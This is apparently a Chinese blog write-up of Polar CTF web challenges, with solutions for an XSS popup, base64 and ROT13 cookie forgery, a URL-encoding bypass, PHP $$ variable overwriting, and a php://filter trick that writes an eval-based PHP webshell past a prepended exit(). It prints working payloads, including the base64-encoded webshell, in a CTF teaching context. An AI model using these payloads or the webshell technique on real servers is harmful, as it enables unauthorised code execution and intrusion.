polar-web题目

1.简单题

1.1 来个弹窗2.0

直接输入xss代码看是否直接弹窗可以得到flag

鼠标代码<img src=x οnerrοr=alert(1)>

或者是其他的只要实现了弹窗功能就行

看过海贼王的话这个人并不陌生(本萨姆)

根据要求直接md5加密得到

1.2 help

得到ZmxhZ3t3b19haV9ndWFfeml9

尝试解密,不是md5,再尝试base64

得到flag:flag{wo_ai_gua_zi}

1.3 cookie欺骗2.0

登录后发现他说你已成功绕过验证,但你不是管理员!

抓包看看

Cookie: PHPSESSID=1h61sgna2g0p9p8ginoeprl6je; user=user1; auth=hfre1

根据题目应该在cooike里面找到相应的一个方向

发现user=user1; auth=hfre1

但是开始给的测试账号 user1 / pass1

发现user是对应user但是pass变成了hfre1

然后在下图里面看见俩个Set-Cookie

Set-Cookie: user=user1; path=/

Set-Cookie: auth=hfre1; path=/

此时没什么头绪尝试用ai试试看,是否是什么加密,发现是rot13加密

ROT13(凯撒密码的一种,移位13)

来验证一下:

user1

  • u → h(u是第21个字母,21+13=34,34-26=8 → h)

  • s → f(s是19,19+13=32,32-26=6 → f)

  • e → r(e是5,5+13=18 → r)

  • r → e(r是18,18+13=31,31-26=5 → e)

  • 1 → 1(数字不变)

那么尝试弱口令然后把密码使用同样加密的方法来试试

302重定向然后flag.php得到flag:Flag: flag{80424ffd15b0b051203d05b47b7c8637}

1.4 uii

const submitBtn = document.getElementById('submit-btn'); const inputBox = document.getElementById('input-box'); submitBtn.addEventListener('click', function() { const inputValue = inputBox.value.trim(); if (inputValue === '拿铁') { window.location.href = 'i.php'; } else { // 如果不是,弹出提示框 alert('咖啡种类不正确哦'); } });

复制代码
<?php

if (isset($_GET["uii"]) && $_GET["uii"] === "Yzz") {

    echo "不正确";

    exit();

}

if (isset($_GET["uii"])) {

    $_GET["uii"] = urldecode($_GET["uii"]); 

    if ($_GET["uii"] == "Yzz") {

        echo "提交正确!!!";

        echo "Flag:   ";

        exit(); 

    }

} else {

    echo " ";

}

?>

根据这个知道是拿铁,进行url编码?uii=Y%7a%7a

flag:{23dhw38wr98034dfz}

2.中等题

2.1到底给不给flag呢

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
`

<?php` ` highlight_file('1.txt');` ` echo "

";` ` $flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';` ` $qwq= '我想要flag';` ` $QAQ = '我又不想要flag了,滚吧';` ` if(!isset($_GET['flag']) && !isset($_POST['flag'])){` ` exit($qwq);` ` }` ` if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){` ` exit($QAQ);` ` }` ` foreach ($_POST as $key => $value) {` ` $$key = $value;` ` }` ` foreach ($_GET as $key => $value) {` ` $$key = $$value;` ` }` ` echo $flag;` 我想要flag 代码审计:`if(!isset($_GET['flag']) && !isset($_POST['flag'])){` ` exit($qwq);` ` }` `当没有给flag赋值的时候就是我想要flag` `if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){` ` exit($QAQ);` ` }` `当给flag赋值flag的时候就是我又不想要flag了,滚吧` `此时重点就是` `foreach ($_POST as $key => $value) {` ` $$key = $value;` ` }` ` foreach ($_GET as $key => $value) {` ` $$key = $$value;` ` }` ` echo $flag;` 根据网上资料可以知道这是**$$导致的变量覆盖问题** **构造payload:?a=flag\&flag=a** 1. 第一个 GET 参数 `a=flag`: `$a = $flag`(拿到 flag 值) 2. 第二个 GET 参数 `flag=a`: `$flag = $a`(重新把 flag 值赋给 `$flag`) 3. 最终 `$flag` 没丢,输出正确。![](https://i-blog.csdnimg.cn/direct/35d0b0f692c94431ba8e59a333e5df3b.png) flag{7c21614802acfb30b55697b3f5122be1} 2.2写shell 这是一道非常经典的 "死亡 exit 绕过" 题目。 代码核心: php file_put_contents($_GET\['filename'\], "\<?php exit();" . $_POST\['content'\]); 通过 GET 参数 filename 指定写入的文件名 写入的内容是:"\<?php exit();" + POST 参数 content 因为开头是 \<?php exit();,所以即使写入了 webshell,访问这个文件时也会立即退出,不会执行后续恶意代码 所以为了避免退出这个,就直接绕过,然后直接考虑伪协议 php://filter/\[过滤器1\]/\[过滤器2\]/.../resource=要操作的实际文件 dir扫一下目标文件 前半段的get的payload是?filename=php://filter/convert.base64-decode/resource=shell.php 后面为了防止退出就需要加密(尝试base64加密)也需要添加后门的代码\<?php exit();\<?php @eval($_POST\[1\]);?\> 所以后半段post的payload是\<?= @eval($_POST\['cmd'\]); ?\>进行base64代码加密,经过前面的这个伪协议可以使exit()函数直接当作不存在 ![](https://i-blog.csdnimg.cn/direct/17ff455cb90348f6b5918e59f0b15c29.png) ``` content=aPD89IEBldmFsKCRfUE9TVFsnY21kJ10pOyA/Pg==(凑成4的倍数ho) ``` ![](https://i-blog.csdnimg.cn/direct/f9143c2b114e403bb51c6ed25b5c092b.png) 用蚁剑连接可以看到自己的shell文件 ![](https://i-blog.csdnimg.cn/direct/61b7853d94de4e279b82ea0d9faf06bb.png) 最后得到: flag{30c42ede8bc4b32e2ae125afaeebee6f}
相关推荐
ytttr8731 小时前
C# 读取数据库表结构工具设计与实现
开发语言·数据库·c#
Jinuss1 小时前
源码分析之React中的useImperativeHandle
开发语言·前端·javascript
csdn2015_1 小时前
HashSet 和 LinkedHashSet 区别
java·开发语言
ZC跨境爬虫1 小时前
CSS核心知识点与定位实战全解析(结合Playwright爬虫案例)
前端·css·爬虫
CoderCodingNo1 小时前
【GESP】C++五级练习题 luogu-P1102 A-B 数对
开发语言·c++·算法
Jinuss1 小时前
源码分析之React中的forwardRef解读
前端·javascript·react.js
mengsi551 小时前
Antigravity IDE 在浏览器上 verify 成功但本地 IDE 没反应 “开启Tun依然无济于事” —— 解决方案
前端·ide·chrome·antigravity
Circ.1 小时前
文本相似性对比python代码
开发语言·python·相似度
2301_789015621 小时前
C++11新增特性:可变参数模板、lambda表达式、function包装器、bind绑定、defult和delete
c语言·开发语言·c++·算法·c++11·万能引用
南风知我意9571 小时前
JavaScript 惰性函数深度解析:从原理到实践的极致性能优化
开发语言·javascript·性能优化